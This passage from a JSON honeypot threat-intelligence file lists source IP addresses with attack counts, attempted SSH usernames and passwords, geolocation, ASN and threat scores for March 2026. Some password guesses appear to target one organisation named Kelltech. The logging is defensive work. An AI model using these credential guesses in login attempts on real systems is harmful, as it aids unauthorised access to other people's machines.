      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:13:30.920000+00:00",
        "last_seen_30d": "2026-03-14T19:20:29.614000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "172.236.228.227": {
      "attack_count": 11,
      "first_seen": "2026-03-09T04:31:27.381Z",
      "last_seen": "2026-03-09T04:31:27.676Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 24,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T16:20:51.413000+00:00",
        "last_seen_30d": "2026-03-27T12:49:36.391000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 24,
        "Cowrie": 11,
        "ConPot": 6,
        "Dionaea": 2
      }
    },
    "192.253.248.44": {
      "attack_count": 10,
      "first_seen": "2026-03-05T20:30:02.306Z",
      "last_seen": "2026-03-06T04:10:38.709Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1@Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:37:07.151000+00:00",
        "last_seen_30d": "2026-03-06T04:11:43.812000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "192.253.248.89": {
      "attack_count": 10,
      "first_seen": "2026-03-06T02:13:21.322Z",
      "last_seen": "2026-03-06T05:15:03.196Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2026!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:00:54.194000+00:00",
        "last_seen_30d": "2026-03-06T05:16:06.652000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "106.13.183.26": {
      "attack_count": 7,
      "first_seen": "2026-03-12T09:26:41.936Z",
      "last_seen": "2026-03-17T23:24:28.954Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:26:41.936000+00:00",
        "last_seen_30d": "2026-03-17T23:35:35.304000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 7
      }
    },
    "20.65.194.27": {
      "attack_count": 7,
      "first_seen": "2026-03-28T06:00:27.418Z",
      "last_seen": "2026-03-28T06:00:37.418Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T10:16:31.925000+00:00",
        "last_seen_30d": "2026-03-28T06:01:43.619000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "20.83.27.168": {
      "attack_count": 7,
      "first_seen": "2026-03-28T01:25:10.070Z",
      "last_seen": "2026-03-28T01:25:20.073Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 18.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 22,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-09T07:44:40+00:00",
        "last_seen_30d": "2026-03-30T08:33:53.940000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 7,
        "Honeytrap": 6,
        "Dionaea": 3
      }
    },
    "66.132.153.130": {
      "attack_count": 6,
      "first_seen": "2026-03-21T23:07:30.714Z",
      "last_seen": "2026-03-21T23:08:05.282Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.6,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 16,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-06T18:51:30+00:00",
        "last_seen_30d": "2026-03-21T23:09:08.111000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 17,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "77.53.61.208": {
      "attack_count": 6,
      "first_seen": "2026-03-11T14:34:18.753Z",
      "last_seen": "2026-03-22T15:25:21.171Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Danderyd",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:34:18.753000+00:00",
        "last_seen_30d": "2026-03-22T15:26:22.079000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "172.94.9.56": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:25:21.830Z",
      "last_seen": "2026-03-06T02:25:24.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "!2025Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:38:56.696000+00:00",
        "last_seen_30d": "2026-03-06T02:26:33.446000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "185.93.89.29": {
      "attack_count": 5,
      "first_seen": "2026-03-06T00:30:46.722Z",
      "last_seen": "2026-03-06T00:30:49.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T09:38:49.169000+00:00",
        "last_seen_30d": "2026-03-31T19:15:10.119000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 5,
        "H0neytr4p": 2,
        "Heralding": 2,
        "Tanner": 2
      }
    },
    "198.96.155.3": {
      "attack_count": 5,
      "first_seen": "2026-03-10T03:12:49.758Z",
      "last_seen": "2026-03-10T03:12:54.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "supports"
      ],
      "passwords_attempted": [
        "z4ng0rber"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12093,
      "as_org": "University of Waterloo",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:51:49.794000+00:00",
        "last_seen_30d": "2026-03-10T03:14:01.214000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5,
        "H0neytr4p": 1
      }
    },
    "38.188.160.114": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:18:05.784Z",
      "last_seen": "2026-03-11T00:18:08.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "210887"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:18:05.784000+00:00",
        "last_seen_30d": "2026-03-11T00:19:12.153000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.235": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:32:24.494Z",
      "last_seen": "2026-03-10T23:32:26.881Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "619619"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:32:24.494000+00:00",
        "last_seen_30d": "2026-03-10T23:33:29.013000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "8.211.138.166": {
      "attack_count": 5,
      "first_seen": "2026-03-05T17:22:53.438Z",
      "last_seen": "2026-03-05T17:24:53.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Abcd@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:22:53.438000+00:00",
        "last_seen_30d": "2026-03-05T17:35:00.895000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "123.13.105.31": {
      "attack_count": 4,
      "first_seen": "2026-03-13T06:26:26.061Z",
      "last_seen": "2026-03-13T06:26:51.509Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T06:26:26.061000+00:00",
        "last_seen_30d": "2026-03-13T06:27:52.291000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.55": {
      "attack_count": 4,
      "first_seen": "2026-03-04T16:40:04.143Z",
      "last_seen": "2026-03-04T16:40:08.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:49:33+00:00",
        "last_seen_30d": "2026-03-31T20:37:14.645000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 33,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "157.230.189.150": {
      "attack_count": 4,
      "first_seen": "2026-03-10T10:52:30.969Z",
      "last_seen": "2026-03-10T10:52:31.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:52:30.969000+00:00",
        "last_seen_30d": "2026-03-10T10:53:34.036000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "161.248.4.211": {
      "attack_count": 4,
      "first_seen": "2026-03-25T04:05:15.535Z",
      "last_seen": "2026-03-25T04:05:46.707Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T04:05:15.535000+00:00",
        "last_seen_30d": "2026-03-25T04:06:52.328000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "164.90.185.106": {
      "attack_count": 4,
      "first_seen": "2026-03-16T22:46:49.636Z",
      "last_seen": "2026-03-16T22:46:50.403Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:46:49.636000+00:00",
        "last_seen_30d": "2026-03-16T22:47:55.179000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "190.8.107.57": {
      "attack_count": 4,
      "first_seen": "2026-03-26T07:45:07.457Z",
      "last_seen": "2026-03-26T08:46:42.720Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Lo Barnechea",
      "asn": 18822,
      "as_org": "Manquehuenet",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:34:40.263000+00:00",
        "last_seen_30d": "2026-03-26T08:47:50.863000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "195.184.76.207": {
      "attack_count": 4,
      "first_seen": "2026-03-04T00:11:14.618Z",
      "last_seen": "2026-03-04T00:11:15.134Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 29,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T00:22:45+00:00",
        "last_seen_30d": "2026-03-31T16:29:03.774000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 59,
        "Cowrie": 4
      }
    },
    "91.196.152.88": {
      "attack_count": 4,
      "first_seen": "2026-03-28T01:14:11.110Z",
      "last_seen": "2026-03-28T01:14:11.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 28,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T20:25:12.421000+00:00",
        "last_seen_30d": "2026-03-30T19:29:50.362000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 18,
        "Cowrie": 4
      }
    },
    "94.70.136.88": {
      "attack_count": 4,
      "first_seen": "2026-03-02T06:03:14.050Z",
      "last_seen": "2026-03-09T10:20:46.018Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:03:14.050000+00:00",
        "last_seen_30d": "2026-03-09T10:21:54.106000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "104.152.52.229": {
      "attack_count": 3,
      "first_seen": "2026-03-07T03:51:00.859Z",
      "last_seen": "2026-03-07T03:51:00.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:51:00.859000+00:00",
        "last_seen_30d": "2026-03-16T09:16:31.059000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "45.197.150.38": {
      "attack_count": 3,
      "first_seen": "2026-03-31T17:33:21.886Z",
      "last_seen": "2026-03-31T17:35:21.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 134365,
      "as_org": "Ansheng Network Technology Co., Limited",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T15:04:35.397000+00:00",
        "last_seen_30d": "2026-03-31T17:46:27.515000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "101.132.180.130": {
      "attack_count": 2,
      "first_seen": "2026-03-08T06:12:58.320Z",
      "last_seen": "2026-03-08T06:12:58.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:12:58.320000+00:00",
        "last_seen_30d": "2026-03-08T06:38:18.215000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
